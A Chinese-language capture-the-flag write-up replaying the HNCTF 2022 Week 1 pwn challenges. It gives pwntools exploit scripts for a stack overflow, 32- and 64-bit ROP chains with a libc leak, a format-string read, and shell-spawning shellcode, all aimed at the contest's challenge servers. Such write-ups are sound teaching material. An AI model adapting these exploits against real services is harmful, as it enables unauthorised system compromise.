[HNCTF 2022 Week1] PWN 复现
easync
签到题,直接 nc 就行,但是这里有坑需要注意下,直接 cat flag,得到的是一个假的 flag,真的 flag 分为两部分,这点需要注意下。
easyoverflow
简单的栈溢出,直接溢出就行,exp 如下:
from pwn import*
p=remote('node3.anna.nssctf.cn',28487)
p.recvuntil('Input something\n') payload=b'a'*(0x30 +8)
p.sendline(payload) p.interactive()
|
ezcmp
分析一下代码,发现 buff 被加密了,只需绕过这个 if 语句,就可以执行 binsh 了,问题是怎么绕过呢?gdb 调试来告诉你。

打断点,到enccrypt,通过调试可以发现被加密buff的地址,在观察其内容,就可以解决问题了,exp如下:

from pwn import *
io = remote('node3.anna.nssctf.cn',28776)
payload = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2) + p64(0xf426588abcee2052) + p64(0x0000c8cb2c5e90c2)
io.sendline(payload) io.interactive()
|
ezr0p32
首先分析一下代码,可知出现了两个 buf,但是这两个 buf 的作用是不同的。第一个 buf 在 .bss 段,这样就可以把 /bin/sh 写进 buf 里面,然后执行 system("/bin/sh") 获得 flag。


这里也需要注意32位程序和64位程序的传参规则,此题位32位程序,是通过栈传递,所以payload的格式有所不同,system + 垃圾数据 + binsh,这些需要自己去做题总结发现,exp如下:
from pwn import * p=remote('node3.anna.nssctf.cn',28224) elf=ELF('./111')
buf=0x804A080 system=0x80483D0
p.recvuntil(b'please tell me your name') p.sendline(b'/bin/sh\x00')
p.recvuntil(b"now it's your play time~") payload=b'a'*(0x1c+0x4) +p32(system) +p32(0) +p32(buf)
p.sendline(payload) p.interactive()
|
ezr0p64
分析可知给出了 puts 地址,可以据此推算 libc 基址,构造 system 和 /bin/sh,套路比较明显,直接上exp

至于payload的构造格式,就要了解64位程序的传参方式,前六个参数是通过rdi, rsi, rdx, rcx, r8, r9, 这六个寄存器,后续的参数通过栈传递,记住格式就行
EXP 如下:
from pwn import *
elf = ELF('./111') libc = ELF('./libc.so.6') io = remote('node3.anna.nssctf.cn',28942)
rdi_addr = 0x4012a3 ret_addr = 0x40101a vuln = elf.sym['vuln']
io.recvuntil(b"0x") puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = b'a'*(0x100 +8) +p64(ret_addr) +p64(rdi_addr) +p64(binsh) +p64(system)
io.sendafter(b"Start your rop.",payload) io.interactive()
|
fmtstrre
明显存在格式字符串漏洞

并发现偏移为 6

gdb 调试,并注意 .bss 段 name 地址(存储了 flag),0x20 +6=38,从而知道flag的位置

%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容 %c 打印单个字符
%hhn 写一字节 %hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
from pwn import*
p=remote('node3.anna.nssctf.cn',28036) p.recvuntil('Input your format string.\n')
payload='%38$s'
p.sendline(payload) p.interactive()
|
ret2shellcode
经典的 shellcode 注入题,将 shellcode 写入 .bss 段:
from pwn import * context(log_level='debug',arch='amd64', os='linux')
io = remote('node1.anna.nssctf.cn',28928)
payload=asm(shellcraft.sh()) buff=0x4040A0
payload=payload.ljust(0x108,b'A')+p64(buff)
io.sendline(payload) io.interactive()
|
safe_shellcode
这道题就难度,不太会,以后会了,再来改下
from pwn import *
io = remote('node2.anna.nssctf.cn',28840) context(arch = 'amd64', os = 'linux', log_level = 'debug')
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" payload=shellcode_64
io.send(payload) io.interactive()
|